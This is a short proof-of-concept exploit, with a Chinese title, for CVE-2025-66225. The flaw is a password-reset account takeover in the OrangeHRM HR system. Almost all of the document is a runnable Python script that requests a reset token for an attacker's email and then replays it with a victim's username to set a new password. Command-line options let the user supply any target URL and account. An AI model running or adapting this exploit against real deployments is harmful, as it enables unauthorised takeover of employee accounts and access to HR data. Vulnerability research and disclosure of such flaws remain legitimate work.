CVE-2025-66225 OrangeHRM密码重置账户接管漏洞

# CVE-2025-66225 PoC - OrangeHRM Password Reset Account Takeover # This PoC demonstrates the username mismatch vulnerability in password reset flow import requests import argparse def get_reset_token(target_email, orangehrm_url): """Step 1: Request password reset for attacker-controlled email""" reset_endpoint = f"{orangehrm_url}/index.php/auth/requestPasswordReset" data = { "username": target_email, "email": target_email } response = requests.post(reset_endpoint, data=data) return response.status_code == 200 def hijack_account(reset_token, target_username, new_password, orangehrm_url): """Step 2: Use token but change username to hijack target account""" reset_endpoint = f"{orangehrm_url}/index.php/auth/resetPassword" data = { "resetToken": reset_token, "username": target_username, # Attacker changes this to target user "password": new_password, "confirmPassword": new_password } response = requests.post(reset_endpoint, data=data) return response.status_code == 200 def main(): parser = argparse.ArgumentParser(description='CVE-2025-66225 PoC') parser.add_argument('--url', required=True, help='OrangeHRM URL') parser.add_argument('--attacker-email', required=True, help='Attacker email for receiving reset link') parser.add_argument('--target-user', required=True, help='Target username to hijack') parser.add_argument('--new-password', required=True, help='New password to set') args = parser.parse_args() print(f"[*] Step 1: Requesting password reset for {args.attacker_email}") if get_reset_token(args.attacker_email, args.url): print("[+] Reset email sent to attacker email") reset_token = input("[*] Enter the reset token from email: ") print(f"[*] Step 2: Hijacking account {args.target_user}") if hijack_account(reset_token, args.target_user, args.new_password, args.url): print(f"[+] Successfully changed password for {args.target_user}") else: print("[-] Failed to hijack account") if __name__ == "__main__": main()